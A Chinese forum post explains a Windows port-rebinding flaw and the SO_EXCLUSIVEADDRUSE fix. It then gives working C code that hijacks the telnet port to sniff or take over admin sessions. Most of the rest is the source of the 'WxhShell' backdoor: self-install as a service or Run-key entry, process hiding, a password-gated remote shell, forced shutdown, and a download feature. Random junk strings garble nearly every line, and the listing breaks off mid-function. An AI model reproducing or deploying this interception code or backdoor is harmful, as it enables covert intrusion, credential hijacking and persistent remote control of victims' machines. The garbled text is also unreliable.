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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &Xf^Iu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D|e uX7b  
\QYFAa  
  saddr.sin_family = AF_INET; ~]nSSD)\  
{]:7bV#JP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -_1>C\h"  
!HnXXVW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B"!l2  
Q36qIq_0e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5]AC*2(  
mj9 <%P  
  这意味着什么?意味着可以进行如下的攻击: gBC@38|6)  
2/"u5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wVEm:/;z&  
S7/eS)SQR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4\Tl\SZ?  
XCU7x i$d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _$ +^q-  
M<kj_.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7Rd'm'l)  
(O.d>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 FB{KH .  
7f0lQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &Low/Y'.jJ  
D/vOs[X o,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |wH5sjT  
59"UL\3  
  #include .k%[4:Fe  
  #include TFkZpe;  
  #include '}B+r@YCN  
  #include    0w&27wW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   auK?](U  
  int main() l'/R&`-n  
  { t!r A%*  
  WORD wVersionRequested; >[*8I\*@n  
  DWORD ret; Z0Vl+  
  WSADATA wsaData; .J)I | '  
  BOOL val; +n{#V;J  
  SOCKADDR_IN saddr; G(p`1~xm  
  SOCKADDR_IN scaddr; E5I"%9X0H  
  int err; `w.n]TR  
  SOCKET s; a&c6.#E{y  
  SOCKET sc; _'{_gei_P  
  int caddsize; :h\Q;?  
  HANDLE mt; H!5\v"]WB  
  DWORD tid;   s$Z _48  
  wVersionRequested = MAKEWORD( 2, 2 ); Gd-'Z_b  
  err = WSAStartup( wVersionRequested, &wsaData ); gMWjk7  
  if ( err != 0 ) { ^c^#dpn  
  printf("error!WSAStartup failed!\n"); BJM.iXU)[  
  return -1; eYN5;bx)W  
  } _AAaC_q  
  saddr.sin_family = AF_INET; 8FKXSqhVM  
   Y }$/e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nD`w/0hT<  
JtEo'As:[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "B3N* R(["  
  saddr.sin_port = htons(23); !F A]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YQHw1  
  { 5nT"rA  
  printf("error!socket failed!\n"); LBM ^9W  
  return -1; /& Jan:  
  } lQ" p !  
  val = TRUE; ]x RM&=)<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nqI@Y)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z>)Bp /-  
  { jQ2Ot<  
  printf("error!setsockopt failed!\n"); PsnWWj?c  
  return -1; ^p[rc@+  
  } =t9\^RIx)?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H`1{_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V@zg}C|e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /178A;J y  
D8Ykg >B;&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #gz M|  
  { ]s'Q_wh_-v  
  ret=GetLastError(); L ^q""[  
  printf("error!bind failed!\n"); q U%/W|LY  
  return -1; e+~\+:[?  
  } }+.}J  
  listen(s,2); xF;kT BRi  
  while(1) s5CXwM6cx  
  { ar__ Pf6r  
  caddsize = sizeof(scaddr); >, F bX8Zz  
  //接受连接请求 z\K"Rg~J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <0b)YJb4M  
  if(sc!=INVALID_SOCKET) (s.0P O`  
  { mq@6Q\Z+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |bTPtrT8  
  if(mt==NULL) sDPs G5q<  
  { W42 iu"@  
  printf("Thread Creat Failed!\n"); &J[:awQX  
  break;  6:b! F  
  } XGYbnZ~   
  } &"yx<&c}  
  CloseHandle(mt); &e E=<x  
  } ]V^iN=(_5  
  closesocket(s); L 6 c 40  
  WSACleanup(); OLyf8&AU@  
  return 0; $xzAv{  
  }   1oR7iD^  
  DWORD WINAPI ClientThread(LPVOID lpParam) U#lCj0iUt,  
  { dP3CG8w5  
  SOCKET ss = (SOCKET)lpParam; );#JL0I  
  SOCKET sc; '@o;-'b  
  unsigned char buf[4096]; C _'%N lJ'  
  SOCKADDR_IN saddr; idLWe9gC  
  long num; tXNm$Cq.|  
  DWORD val; ] eotc2?u  
  DWORD ret; Hx"ob_^'7  
  //如果是隐藏端口应用的话,可以在此处加一些判断  7''??X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &XIt5<$~R  
  saddr.sin_family = AF_INET; u(@$a4z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g%sluT[#  
  saddr.sin_port = htons(23); 8EW_V$>R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uGwm r  
  { n&$j0k  
  printf("error!socket failed!\n"); Ro\8ZXUQa  
  return -1; ;&9)I8Us  
  } 8<X#f !  
  val = 100; LInz<bc<(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,]|#[8  
  { KI)M JG:t  
  ret = GetLastError(); % Qmn-uZ  
  return -1; IHB} `e|  
  } z>LUH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Si_ _8D  
  { ni.cTOSx  
  ret = GetLastError(); qX/y5F`  
  return -1; wo4;n9@I  
  } CSJdvxb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `#rL*;\uV  
  { } df W%{  
  printf("error!socket connect failed!\n"); }q_<_lQ  
  closesocket(sc); PC~Y8,A|.t  
  closesocket(ss); k Z?=AXu  
  return -1; "Lzi+1  
  } _GV:HOBi  
  while(1) PRx8I .  
  { +9M^7/}H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3k\#CiB{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 RiDJ> 6S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C^O VB-  
  num = recv(ss,buf,4096,0); ,BH@j%Jmy  
  if(num>0) #jkf1"8C  
  send(sc,buf,num,0); .!Oo|m`V@  
  else if(num==0) vmU@^2JSJ  
  break; "i nd$Z`c  
  num = recv(sc,buf,4096,0); N:S/SZI  
  if(num>0) =b%MXT  
  send(ss,buf,num,0); Yrb{ByO&  
  else if(num==0) '9laa=H%8  
  break; 2y//'3[  
  } m}C>ti`VD  
  closesocket(ss); .8@$\ZRP  
  closesocket(sc); IoxgjUa  
  return 0 ; 5y d MMb  
  } {>}!+k -`  
TITKj?*o  
y=fx%~<> 8  
========================================================== RmI]1S_=  
P2NQHX  
下边附上一个代码,,WXhSHELL ^hG-~z<  
|nc@"OJ  
========================================================== lNy.g{2f<m  
_> 5(iDW0  
#include "stdafx.h" VyXKZ%\dQ/  
&:;:"{t}Do  
#include <stdio.h> hB "fhX  
#include <string.h> AS!?q  
#include <windows.h> \RNNg  
#include <winsock2.h> p ?*Q- f  
#include <winsvc.h> ]%hn`ZJ  
#include <urlmon.h> m!gz3u]rN  
Us)Z^s  
#pragma comment (lib, "Ws2_32.lib") |WQBDB`W  
#pragma comment (lib, "urlmon.lib")  q['Euy  
ot,jp|N>f~  
#define MAX_USER   100 // 最大客户端连接数 mi=Q{>rb  
#define BUF_SOCK   200 // sock buffer sr r :!5  
#define KEY_BUFF   255 // 输入 buffer Pj[PIz  
l>2E (Y|  
#define REBOOT     0   // 重启 ]}Mj)J"m  
#define SHUTDOWN   1   // 关机 (iBNZ7sJ  
-Y1e8H ='  
#define DEF_PORT   5000 // 监听端口 JUsQ,ETn  
$I!XSz"/e  
#define REG_LEN     16   // 注册表键长度 rxVanDb=W  
#define SVC_LEN     80   // NT服务名长度 cpe+XvBuK  
4~ q5,^kgB  
// 从dll定义API 18)'c?^.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #9B)Xx!g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &VhroHO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [/PR\'|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v6[!o<@"a  
\<&m&%Zs  
// wxhshell配置信息 cW~}:;D4  
struct WSCFG { 0QB iC]9  
  int ws_port;         // 监听端口 10G}{  
  char ws_passstr[REG_LEN]; // 口令 xj<Rp|7&  
  int ws_autoins;       // 安装标记, 1=yes 0=no v V'EZ ?  
  char ws_regname[REG_LEN]; // 注册表键名 \(3y7D  
  char ws_svcname[REG_LEN]; // 服务名 xN>npP   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;PF`Wj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [8.c8-lZ^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6}Vf\j~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kj|6iG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rR$h*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GSY(  
Kh"?%ZIa  
}; ?# Mr  
d)B@x`  
// default Wxhshell configuration bADnW4N`6;  
struct WSCFG wscfg={DEF_PORT, u~r=)His  
    "xuhuanlingzhe", pe0F0Ruy  
    1, Y_Eb'*PY  
    "Wxhshell", \(~y?l  
    "Wxhshell", q?,).x nN  
            "WxhShell Service", W$QcDp]#p}  
    "Wrsky Windows CmdShell Service", G !<Z.]  
    "Please Input Your Password: ", =Ee&da^MB  
  1, +y,T4^{  
  "http://www.wrsky.com/wxhshell.exe", E_gD:PPU5  
  "Wxhshell.exe" LZ\q3 7UV  
    }; pny11C  
`^91%f  
// 消息定义模块 V@\gS"Tu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7.-V-?i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kHk px52  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ".f ;+wH  
char *msg_ws_ext="\n\rExit."; *xc_k"\  
char *msg_ws_end="\n\rQuit."; KMt`XaC9e  
char *msg_ws_boot="\n\rReboot..."; t^VwR=i  
char *msg_ws_poff="\n\rShutdown..."; :KH g&ZX7  
char *msg_ws_down="\n\rSave to "; [l:x'_y  
ImCe K  
char *msg_ws_err="\n\rErr!"; 'z );  
char *msg_ws_ok="\n\rOK!"; < 3(LWxw  
3yANv?$a  
char ExeFile[MAX_PATH]; `{4i)n%e&  
int nUser = 0; 3NZK*!@ '  
HANDLE handles[MAX_USER]; M])ZK  
int OsIsNt; 3sc+3-TF  
Gk967pC  
SERVICE_STATUS       serviceStatus; %/EVUN9=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _t:$XJ`bTk  
9K/HO!z  
// 函数声明 =Xm@YVf&ZD  
int Install(void); eD-#b|  
int Uninstall(void); c~6>1w7SZ4  
int DownloadFile(char *sURL, SOCKET wsh); }{M#EP8q+  
int Boot(int flag); Yi .u"sh]  
void HideProc(void); B! rTD5a  
int GetOsVer(void); Usg K  
int Wxhshell(SOCKET wsl); ^*S ,xP  
void TalkWithClient(void *cs); 6Vww;1 J  
int CmdShell(SOCKET sock); ]d55m/(   
int StartFromService(void); QS0:@.}$E)  
int StartWxhshell(LPSTR lpCmdLine); +nUy,S?43  
3WN`y8l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k- Q%.o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z+ s6)Ad  
& SiP\65N  
// 数据结构和表定义 Yj%U >),8  
SERVICE_TABLE_ENTRY DispatchTable[] = INUG*JC6  
{ 0?sRDYaX;c  
{wscfg.ws_svcname, NTServiceMain}, J~=n`pW  
{NULL, NULL} m_hN*v Py  
}; l;af~ef)'  
Z.d 7U~_  
// 自我安装 )i q-yjO6  
int Install(void) c?P?yIz6p  
{ @95FN)TXZY  
  char svExeFile[MAX_PATH]; #u2J;9P  
  HKEY key; .id)VF-l  
  strcpy(svExeFile,ExeFile); )X04K~6lY  
BLN^ <X/  
// 如果是win9x系统,修改注册表设为自启动 DQMHOd7g  
if(!OsIsNt) { Z:ni$7<.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #G|qD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tskq)NU  
  RegCloseKey(key); )q 0.0<f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HfcL%b%G8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b:=TB0Fx?n  
  RegCloseKey(key); Zkx[[gzL  
  return 0; +$X#q8j06  
    } . 7zK@6i  
  } ;g6M%;1-  
} b5,x1`#7k  
else { 'jmTXWq*  
3VuW#m#j  
// 如果是NT以上系统,安装为系统服务  ~UyV<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H1I{/g  
if (schSCManager!=0) fKp#\tCc y  
{ 9V,!R{kO!  
  SC_HANDLE schService = CreateService ~CVe yk< (  
  ( \2nUa ;  
  schSCManager, F&])P- !3  
  wscfg.ws_svcname, ii%+jdi.  
  wscfg.ws_svcdisp, GQ*wc?f3  
  SERVICE_ALL_ACCESS, ,B08i o-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _tSAI  
  SERVICE_AUTO_START, ;GVV~.7/  
  SERVICE_ERROR_NORMAL, RlheQTJ  
  svExeFile, p>vn7;s2#  
  NULL, !icT/5  
  NULL, y'(Ne=y  
  NULL, ]V-W~r=  
  NULL, p`nPhk,:b  
  NULL !1n8vzs"c  
  ); n"+[ :w4  
  if (schService!=0)  |?Frj  
  { OS4q5;1#  
  CloseServiceHandle(schService); ONx( ]  
  CloseServiceHandle(schSCManager); Dw=gs{8D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6&DX] [G  
  strcat(svExeFile,wscfg.ws_svcname); $B kubWM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4&xZ]QC)O5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); baJxU:Y=p  
  RegCloseKey(key); I/M_p^  
  return 0; s"9`s_p`d  
    } SF}<{x_  
  } _ ):d`O e  
  CloseServiceHandle(schSCManager); #?*WPq  
} NM]s8cK_  
} @ U kr  
ix W@7m  
return 1; wj[\B*$?  
} NB\{'  
KBXK0zWh7  
// 自我卸载 2H/Z_+\  
int Uninstall(void) B;R.#^@/  
{ "]oO{'1X  
  HKEY key; JoRT&rkd  
v^)bhIPe;  
if(!OsIsNt) { cE`6uq7 p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %|^OOU}  
  RegDeleteValue(key,wscfg.ws_regname); zG' "9kJx  
  RegCloseKey(key); }"|"Q7H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N2oRJ,:B  
  RegDeleteValue(key,wscfg.ws_regname); $e\h}A6  
  RegCloseKey(key); YLwnhy>dD  
  return 0; 6(]tYcC  
  } 7SlsnhpW  
} oY1';&BO9  
} '" X_B0k  
else { %honO@$  
aFe`_cnG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z4A!U~  
if (schSCManager!=0) U~} U\_  
{ ~XyW&@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); neXeAU  
  if (schService!=0) J4"mK1N(  
  { JC}f-%H?K  
  if(DeleteService(schService)!=0) { Nc :({@I  
  CloseServiceHandle(schService); ;w6>"O$a  
  CloseServiceHandle(schSCManager); Sr&515  
  return 0; RlqQ  
  } -b9;5eS!  
  CloseServiceHandle(schService); UPc<gB  
  } 1iX)d)(b  
  CloseServiceHandle(schSCManager); PzV@umC1#f  
} s:2|c]wQ#R  
} o\88t){/kB  
ot`%*  
return 1; `6[I^qG".  
} ,h{A^[yl  
&K43x&mFF  
// 从指定url下载文件 :9R=]#uD  
int DownloadFile(char *sURL, SOCKET wsh) :}h>by=  
{ X=6y_^  
  HRESULT hr; !eAo  
char seps[]= "/";  |y h\  
char *token; Ti2Ls5H}  
char *file; ?;wpd';c  
char myURL[MAX_PATH]; $`8Ar,Xz`  
char myFILE[MAX_PATH]; {^ m(,K_  
K]qM~v<A  
strcpy(myURL,sURL); Fi. aC;sx  
  token=strtok(myURL,seps); e/*$^i+S  
  while(token!=NULL) 4\pWB90V  
  { RbGJ)K!  
    file=token; R g?1-|Tj  
  token=strtok(NULL,seps); YXU|h  
  } KJ?y@Q  
l"{Sm6:;-  
GetCurrentDirectory(MAX_PATH,myFILE); 5jgdbHog]  
strcat(myFILE, "\\"); C@Nv;;AlU  
strcat(myFILE, file); ^pS+/ZSi^  
  send(wsh,myFILE,strlen(myFILE),0); xy8#2  
send(wsh,"...",3,0); 6oinidB[l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *d(SI<j  
  if(hr==S_OK) ( =16PYs  
return 0; -UZ@G~K  
else fQ'.8'>T  
return 1; =(EI~N  
tM,%^){p$  
} F( Ak  
j}F-Xs+  
// 系统电源模块 v[TYc:L=  
int Boot(int flag) ?sBh=Ds  
{ dl5=q\1=  
  HANDLE hToken; nx:KoB"ny  
  TOKEN_PRIVILEGES tkp; rVtw-[p  
7l."b$U4yv  
  if(OsIsNt) { z305{B:Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '~ 4pl0TWc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tu>{  
    tkp.PrivilegeCount = 1; `p0ypi3hn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KtB!"yy#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a`E*\O'd  
if(flag==REBOOT) { wQ+dJ3b$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HPQ/~0$  
  return 0; kvGCbRC  
}  :Pq.,s  
else { 3Db3xN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D -IR!js ]  
  return 0; pilh@#_h  
} =s}Xy_+:  
  } sM\lO  
  else { C}?0`!Cc%  
if(flag==REBOOT) { zSv^<`X3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0IT@V5Gdj  
  return 0; 3+xy4 G@L  
} y^Vw`-e  
else { DjCx~@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p T[gdhc  
  return 0; _M,lQ~  
} sT1&e5`W  
} s?3i) Ymr  
2 ?|gnbE:  
return 1; m-V02's  
} V5D2\n3A  
Y'`"9Db  
// win9x进程隐藏模块 V% CUMH =U  
void HideProc(void) ,>LRa  
{ Zg:gY"^  
g):]'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (LJ@S eM;  
  if ( hKernel != NULL ) 68R1AqU_  
  { Ep~wWQh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =y%rG :!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X6RQqen3:  
    FreeLibrary(hKernel); uXQ >WI@eF  
  } ]M,06P>?  
?mRE'#  
return; Eff\Aq{  
} LD(C\  
NvtM3  
// 获取操作系统版本 8v y G*UK  
int GetOsVer(void) 4p)e}W*  
{ $T }Tz7(  
  OSVERSIONINFO winfo; MZ#T^Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O.k \]'  
  GetVersionEx(&winfo); !0 Q8iW:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o*ANi;1]&B  
  return 1; :WXf.+IA  
  else x:5dC I  
  return 0; FN )d1q(~  
} I__4I{nI  
_$/ +D:K  
// 客户端句柄模块 noA-)  
int Wxhshell(SOCKET wsl) _MYx%Z  
{ _zC (J  
  SOCKET wsh; @qK<T  
  struct sockaddr_in client; LxJ6M/".  
  DWORD myID; &K:' #[3V  
mVm4fHEYwU  
  while(nUser<MAX_USER) J\W-dI  
{ zTCP )x  
  int nSize=sizeof(client); 6E9N(kFYs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A['uD<4b  
  if(wsh==INVALID_SOCKET) return 1; t 6u-G+}  
HdQj?f3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V,QwN&  
if(handles[nUser]==0) \~"#ld(x7  
  closesocket(wsh); \3{3ly~L  
else 02 f9 wV  
  nUser++; }. %s xw  
  } /jrY%C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ++92:decM  
2mJ:c  
  return 0; QjukK6#W  
} C;#" td  
eihZp  
// 关闭 socket zg]Drm  
void CloseIt(SOCKET wsh)  t.3 \/  
{ %{ ~>n"  
closesocket(wsh); 2uu[52H8d%  
nUser--; nN{dORJlx  
ExitThread(0); ` py}99G  
} ]Ti$ztJ  
t* z'c  
// 客户端请求句柄 :{CFTc5:A  
void TalkWithClient(void *cs) J%r7<y\  
{ xw%)rm<t  
J'7 y   
  SOCKET wsh=(SOCKET)cs; ec?1c&E  
  char pwd[SVC_LEN]; }|He?[TR  
  char cmd[KEY_BUFF]; 9H$g?';  
char chr[1]; E*4t8  
int i,j; u[`v&e  
my[,w$YM  
  while (nUser < MAX_USER) { lV7IHX1P  
fu>Qi)@6a1  
if(wscfg.ws_passstr) { Rrz'(KSDw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , ,{6m d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z}f^qc+  
  //ZeroMemory(pwd,KEY_BUFF); F^TAd  
      i=0; T5{T[YdX<  
  while(i<SVC_LEN) { XWF7#xM  
M7U:g}  
  // 设置超时 vU9~[I`^p  
  fd_set FdRead; D5[VK `4Z  
  struct timeval TimeOut; AFtCqq#[  
  FD_ZERO(&FdRead); +G\0L_B  
  FD_SET(wsh,&FdRead); %Ht ^yemQ  
  TimeOut.tv_sec=8; qnTi_c  
  TimeOut.tv_usec=0; tBTJmih"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j/`Up  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [#zE. TW  
o~}1 oN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oYg/*k7EDX  
  pwd=chr[0]; 45r|1<Ro  
  if(chr[0]==0xd || chr[0]==0xa) { YZ{jP?x  
  pwd=0; vu>YH)N_h  
  break; |?|K\UF(Y  
  } wjg}[R@!  
  i++; y$v@wb5  
    } +QQ YPEx+  
G/%Ubi6%  
  // 如果是非法用户,关闭 socket jXH0BPa,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ${CYDD"mdy  
} D;J|eC>^  
F42TKPN^uu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Flne=ij6g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &:C{/QnA  
6HB]T)n  
while(1) { ,Os7T 1>  
]zy~@,\  
  ZeroMemory(cmd,KEY_BUFF); ,?t}NZY&  
;4R =eI  
      // 自动支持客户端 telnet标准   mC% %)F'Zf  
  j=0; rS=tcB O  
  while(j<KEY_BUFF) { sio)_8tp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X!2.IsIS8  
  cmd[j]=chr[0]; %e(9-M4*  
  if(chr[0]==0xa || chr[0]==0xd) { HgS<Vxmq  
  cmd[j]=0; +$(71#'y  
  break; (v|ixa  
  } ^#}dPGm  
  j++; Ny]'RS-  
    } J.*[gt%O|  
ntDRlX  
  // 下载文件 5#yJK>a7  
  if(strstr(cmd,"http://")) { >~.Zr3P6kC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .A )\F",X  
  if(DownloadFile(cmd,wsh)) $^!a`Xr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); **Qe`}E:  
  else )PsN_ 42~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( [K2:n\  
  } L`<T'3G  
  else { 2]?w~qjWm  
/UEV8 1  
    switch(cmd[0]) { Ufm(2`FQ  
  D{Hh#x8Y  
  // 帮助 <O <'1uO,  
  case '?': { ORV}j, Ym  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (#f m (@T  
    break; GI0x>Z+  
  } S3j]{pZ(z  
  // 安装 hj[+d%YZY"  
  case 'i': { 2VoEQ  
    if(Install()) o 2[vM$]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hLDch5J5~  
    else o(Ua",|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2b 6? 9FX*  
    break; 3p?<iVE  
    } r`&2-]  
  // 卸载 0?J|C6XM#4  
  case 'r': { 0)6i~MglY  
    if(Uninstall()) :Y}Y&mA4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I,CAFq  
    else Mp^OL7p^^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }skRlC  
    break; cuV8#: i  
    } ';;p8bv+  
  // 显示 wxhshell 所在路径 ;Sx'O  
  case 'p': { +q`rz  
    char svExeFile[MAX_PATH]; o+"0.B  
    strcpy(svExeFile,"\n\r"); ex@,F,u>o  
      strcat(svExeFile,ExeFile); .pB8=_e:  
        send(wsh,svExeFile,strlen(svExeFile),0); B"?+5A7  
    break; A;kw}!  
    } W|r+J8  
  // 重启 2$SofG6D}  
  case 'b': { 2 0Cie q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  &*>C PO  
    if(Boot(REBOOT)) lJGqR0:r+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]]h:#A2  
    else { niBjq#bJi  
    closesocket(wsh); 4BduUH  
    ExitThread(0); _v~D {H&}  
    } `\RX~ $^  
    break; pjKl)q  
    } v3hQv)j)  
  // 关机 (g iTp@Tp  
  case 'd': { YvxMA#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9A* ?E  
